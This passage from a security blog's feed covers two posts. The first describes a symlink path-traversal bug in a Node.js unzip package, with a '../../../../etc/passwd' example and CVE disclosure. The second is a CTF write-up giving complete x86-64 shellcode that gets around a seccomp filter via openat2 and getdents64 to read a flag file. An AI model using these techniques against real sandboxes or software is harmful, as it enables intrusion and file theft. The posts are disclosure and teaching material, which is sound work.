  <span class="kd">const</span> <span class="nx">link</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">getStream</span><span class="p">(</span><span class="nx">readStream</span><span class="p">)</span>
  <span class="nf">debug</span><span class="p">(</span><span class="dl">'</span><span class="s1">creating symlink</span><span class="dl">'</span><span class="p">,</span> <span class="nx">link</span><span class="p">,</span> <span class="nx">dest</span><span class="p">)</span>
  <span class="k">await</span> <span class="nx">fs</span><span class="p">.</span><span class="nf">symlink</span><span class="p">(</span><span class="nx">link</span><span class="p">,</span> <span class="nx">dest</span><span class="p">)</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
  <span class="k">await</span> <span class="nf">pipeline</span><span class="p">(</span><span class="nx">readStream</span><span class="p">,</span> <span class="nf">createWriteStream</span><span class="p">(</span><span class="nx">dest</span><span class="p">,</span> <span class="p">{</span> <span class="na">mode</span><span class="p">:</span> <span class="nx">procMode</span> <span class="p">}))</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The important part was this line:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">await</span> <span class="nx">fs</span><span class="p">.</span><span class="nf">symlink</span><span class="p">(</span><span class="nx">link</span><span class="p">,</span> <span class="nx">dest</span><span class="p">)</span>
</code></pre></div></div>

<p>The code created the symlink, but it did not check where <code class="language-plaintext highlighter-rouge">link</code> was pointing. A ZIP file could contain a symlink with a relative target such as:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>../../../../etc/passwd
</code></pre></div></div>

<p>After extraction, the symlink could point outside the extraction folder. The official CVE record describes the same problem and says that, depending on how the package is used, an attacker could read or write arbitrary files [1].</p>

<p>That was the bug.</p>

<h2 id="reporting">Reporting</h2>

<p>I first opened a GitHub Security Advisory for the project. During the process, I learned that the CVE request normally has to come from the maintainer or an authorized CVE Numbering Authority. The project looked inactive, so waiting for the maintainer did not seem like a good plan.</p>

<p>I went to CERT/CC through VINCE and reported the vulnerability there.</p>

<p>They accepted the report for coordination. On June 26, the official CVE record was published and credited me as an independent researcher [1].</p>

<p>That was the moment I got my first CVE.</p>

<p>Happy hacking.</p>

<h2 id="references">References</h2>

<ul>
  <li>[1] <a href="https://www.cve.org/CVERecord?id=CVE-2026-56876">CVE-2026-56876</a></li>
</ul>]]></content><author><name>Ziad Salah</name></author><category term="cve" /><category term="nodejs" /><category term="path-traversal" /><summary type="html"><![CDATA[How it started]]></summary></entry><entry><title type="html">New Age - Seccomp Shellcode in Two Parts</title><link href="https://ziad686.xyz/new-age-seccomp" rel="alternate" type="text/html" title="New Age - Seccomp Shellcode in Two Parts" /><published>2026-01-25T00:00:00+00:00</published><updated>2026-01-25T00:00:00+00:00</updated><id>https://ziad686.xyz/new-age-seccomp</id><content type="html" xml:base="https://ziad686.xyz/new-age-seccomp"><![CDATA[<p>I made this challenge for 0xl4ugh CTF v5. It was a pwn challenge about seccomp and shellcode. The binary takes bytes from the player, puts them in an executable memory page, installs a seccomp filter, and runs the bytes as code.</p>

<p>The solver I made has two parts. The first part leaks the files in the current directory to find the unknown flag filename. The second part opens that filename, reads the flag, and prints it.</p>

<h2 id="starting-with-the-binary">Starting with the binary</h2>

<p>The binary does not wait for a vulnerability. It directly gives the player a page to use as shellcode:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>code_region = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,
                   MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
read(0, code_region, 0x1000);

setup();
((void(*)())code_region)();
</code></pre></div></div>

<p>First, <code class="language-plaintext highlighter-rouge">mmap()</code> creates a <code class="language-plaintext highlighter-rouge">0x1000</code> byte page with read, write, and execute permissions. Then the binary reads our input into that page. After <code class="language-plaintext highlighter-rouge">setup()</code> installs the filter, it jumps to the beginning of the page and executes our bytes.</p>

<h2 id="looking-at-the-filter">Looking at the filter</h2>

<p>This is the <code class="language-plaintext highlighter-rouge">setup()</code> function from Ghidra:</p>

<p><img src="/assets/new-age-seccomp-setup.png" alt="The seccomp filter inside setup()" /></p>

<p>The filter starts with <code class="language-plaintext highlighter-rouge">SCMP_ACT_ALLOW</code>. In simple words, syscalls are allowed by default unless one of the rules matches them. The filter then adds rules that kill the thread for specific syscalls or for specific argument values.</p>

<p>The filter blocks the usual file-opening syscalls:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(openat), 0);
</code></pre></div></div>

<p>It also blocks <code class="language-plaintext highlighter-rouge">execve</code>, <code class="language-plaintext highlighter-rouge">execveat</code>, <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">vfork</code>, <code class="language-plaintext highlighter-rouge">clone</code>, and <code class="language-plaintext highlighter-rouge">clone3</code>. This removes the easy options. There is no opening <code class="language-plaintext highlighter-rouge">/bin/sh</code>, and there is no spawning another process.</p>

<p>The <code class="language-plaintext highlighter-rouge">read</code> and <code class="language-plaintext highlighter-rouge">write</code> rules are more interesting:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(read), 1,
                 SCMP_A1(SCMP_CMP_LT, base + 0xC00));

seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 1,
                 SCMP_A1(SCMP_CMP_GT, base + 0x400));
</code></pre></div></div>

<p>The second argument of both syscalls is the buffer pointer. The filter does not allow <code class="language-plaintext highlighter-rouge">read()</code> to put data below <code class="language-plaintext highlighter-rouge">base+0xc00</code>, and it does not allow <code class="language-plaintext highlighter-rouge">write()</code> to take data from above <code class="language-plaintext highlighter-rouge">base+0x400</code>.</p>

<p>That means the two syscalls use different sides of the shellcode page:</p>

<table>
  <thead>
    <tr>
      <th>Operation</th>
      <th>Restriction</th>
      <th>Location used by the solver</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">read</code></td>
      <td>The buffer must not be below <code class="language-plaintext highlighter-rouge">base+0xc00</code></td>
      <td><code class="language-plaintext highlighter-rouge">base+0xc00</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">write</code></td>
      <td>The buffer must not be above <code class="language-plaintext highlighter-rouge">base+0x400</code></td>
      <td><code class="language-plaintext highlighter-rouge">base+0x400</code></td>
    </tr>
  </tbody>
</table>

<h2 id="finding-a-way-to-open-files">Finding a way to open files</h2>

<p>The filter blocks <code class="language-plaintext highlighter-rouge">open</code> and <code class="language-plaintext highlighter-rouge">openat</code>, while <strong><code class="language-plaintext highlighter-rouge">openat2</code></strong> is still available. This gives the shellcode a way to open the current directory and later the flag file.</p>

<p><code class="language-plaintext highlighter-rouge">openat2</code> is an extended version of <code class="language-plaintext highlighter-rouge">openat</code>. It receives a directory file descriptor, a path, a pointer to a <code class="language-plaintext highlighter-rouge">struct open_how</code>, and the size of that structure. When the path is relative and the directory descriptor is <code class="language-plaintext highlighter-rouge">AT_FDCWD</code>, the path is resolved from the current working directory. It does not have a normal glibc wrapper, so shellcode can call it directly using the syscall instruction [1].</p>

<p>Linux added <code class="language-plaintext highlighter-rouge">openat2</code> in <strong>Linux 5.6</strong> [1]. On x86-64, the syscall number is <code class="language-plaintext highlighter-rouge">437</code>.</p>

<p>So the filter still leaves a way to open files. The next problem is the flag filename. It is randomized, so I cannot put a guessed name into the second shellcode and expect it to work.</p>

<p>Before reading the flag, I need to find that name. The plan is now clear: open the current directory, get its file entries, print them, and use the result to identify the flag file. The syscall for getting directory entries is <code class="language-plaintext highlighter-rouge">getdents64</code>.</p>

<p>There is one small thing to handle before writing that shellcode. Because <code class="language-plaintext highlighter-rouge">mmap()</code> chooses the address of the shellcode page, the shellcode needs to calculate its own base address. I also need the two buffer addresses that satisfy the <code class="language-plaintext highlighter-rouge">read</code> and <code class="language-plaintext highlighter-rouge">write</code> rules.</p>

<h2 id="getting-an-address-for-the-shellcode-page">Getting an address for the shellcode page</h2>

<p>Before looking at the two parts, the shellcode needs to know where it is running. <code class="language-plaintext highlighter-rouge">mmap(NULL, ...)</code> chooses the page address, so the solver cannot hardcode it.</p>

<p>Both solver parts use the same <code class="language-plaintext highlighter-rouge">call</code> and <code class="language-plaintext highlighter-rouge">pop</code> trick:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>call get_pc
get_pc:
pop r15
and r15, 0xFFFFFFFFFFFFF000
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">call</code> puts an address from inside the shellcode on the stack. <code class="language-plaintext highlighter-rouge">pop</code> puts that address in <code class="language-plaintext highlighter-rouge">r15</code>. Masking the low 12 bits aligns it to the beginning of the page.</p>

<p>Now the solver can create the two addresses required by the filter:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lea r14, [r15 + 0xc00]    ; safe destination for read()
lea r13, [r15 + 0x400]    ; safe source for write()
</code></pre></div></div>

<p>From here, the two parts do different jobs.</p>

<h2 id="part-one-leaking-the-file-names">Part one: leaking the file names</h2>

<p>The first part does not try to read the flag yet. Its job is to find the file name.</p>

<p>The shellcode first calls <code class="language-plaintext highlighter-rouge">openat2</code> on the path <code class="language-plaintext highlighter-rouge">.</code>. <code class="language-plaintext highlighter-rouge">-100</code> is <code class="language-plaintext highlighter-rouge">AT_FDCWD</code>, which means the current working directory:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov rax, 437              ; openat2
mov rdi, -100             ; AT_FDCWD
lea rsi, [rip + dot]      ; "."
sub rsp, 32
mov qword ptr [rsp], 0x100000
mov qword ptr [rsp+8], 0
mov qword ptr [rsp+16], 0
mov rdx, rsp              ; struct open_how
mov r10, 24               ; sizeof(struct open_how)
syscall

dot:
.string "."
</code></pre></div></div>

<p>The return value is a file descriptor for the current directory. The solver then uses <code class="language-plaintext highlighter-rouge">getdents64</code>, syscall <code class="language-plaintext highlighter-rouge">217</code>, to read the directory entries:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov rdi, rax              ; directory fd
mov rax, 217              ; getdents64
mov rsi, r14              ; base + 0xc00
mov rdx, 0x400
syscall
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">getdents64</code> returns raw directory-entry records in the supplied buffer. The records contain names and other information about the entries. For this challenge, I did not need a full parser. Printing the returned bytes was enough to see the file names.</p>

<p>The returned byte count is in <code class="language-plaintext highlighter-rouge">rax</code>. The data is currently in the read-safe area, but <code class="language-plaintext highlighter-rouge">write()</code> cannot use that address. So the solver copies the bytes to <code class="language-plaintext highlighter-rouge">base+0x400</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov rcx, rax
mov rdi, r13              ; base + 0x400
mov rsi, r14              ; base + 0xc00
rep movsb
</code></pre></div></div>

<p>After the copy, it prints the directory data:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov rdx, rax              ; number of bytes returned
mov rax, 1                ; write
mov rdi, 1                ; stdout
mov rsi, r13              ; base + 0x400
syscall
</code></pre></div></div>

<p>That finishes the first part. It leaks the directory contents and gives us the randomized flag filename.</p>

<h2 id="part-two-getting-the-flag">Part two: getting the flag</h2>

<p>Now that the filename is known, the second part can open it with the same syscall that was left available: <code class="language-plaintext highlighter-rouge">openat2</code>.</p>

<p>This time, the path points to the flag file and the <code class="language-plaintext highlighter-rouge">open_how</code> flags are zero, meaning read-only:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov rax, 437              ; openat2
mov rdi, -100             ; AT_FDCWD
lea rsi, [rip + filename]
sub rsp, 64
mov qword ptr [rsp], 0    ; O_RDONLY
mov qword ptr [rsp+8], 0
mov qword ptr [rsp+16], 0
mov rdx, rsp
mov r10, 24
syscall
</code></pre></div></div>

<p>The returned file descriptor is passed to <code class="language-plaintext highlighter-rouge">read()</code>. The destination must be <code class="language-plaintext highlighter-rouge">base+0xc00</code> because the filter kills a read into a lower address:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov rdi, rax
mov rax, 0                ; read
mov rsi, r14              ; base + 0xc00
mov rdx, 256
syscall
</code></pre></div></div>

<p>The flag bytes are now in the read-safe area. The same copy as before moves them to the write-safe area:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov rcx, rax
mov rdi, r13              ; base + 0x400
mov rsi, r14              ; base + 0xc00
rep movsb
</code></pre></div></div>

<p>Finally, the solver writes the returned number of bytes to stdout and exits:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov rdx, rax
mov rax, 1                ; write
mov rdi, 1                ; stdout
mov rsi, r13
syscall

mov rax, 60               ; exit
xor rdi, rdi
syscall
</code></pre></div></div>

<h2 id="tldr">TL;DR</h2>

<p>The challenge starts by giving the player executable shellcode, but then tries to limit what that shellcode can do with seccomp. The solve relies on <code class="language-plaintext highlighter-rouge">openat2</code> being available while <code class="language-plaintext highlighter-rouge">open</code> and <code class="language-plaintext highlighter-rouge">openat</code> are blocked.</p>

<p>The unknown filename made the solve a two-step process. The first solver opened the current directory and used <code class="language-plaintext highlighter-rouge">getdents64</code> to leak the names. The second solver used the discovered name with <code class="language-plaintext highlighter-rouge">openat2</code>, read the flag, moved it into the allowed write area, and printed it.</p>

<h2 id="references">References</h2>

<ol>
  <li><a href="https://man7.org/linux/man-pages/man2/openat2.2.html">Linux <code class="language-plaintext highlighter-rouge">openat2(2)</code> manual page</a></li>
</ol>]]></content><author><name>Ziad Salah</name></author><category term="ctf" /><category term="pwn" /><category term="seccomp" /><category term="my-challenge" /><category term="shellcoding" /><summary type="html"><![CDATA[I made this challenge for 0xl4ugh CTF v5. It was a pwn challenge about seccomp and shellcode. The binary takes bytes from the player, puts them in an executable memory page, installs a seccomp filter, and runs the bytes as code.]]></summary></entry></feed>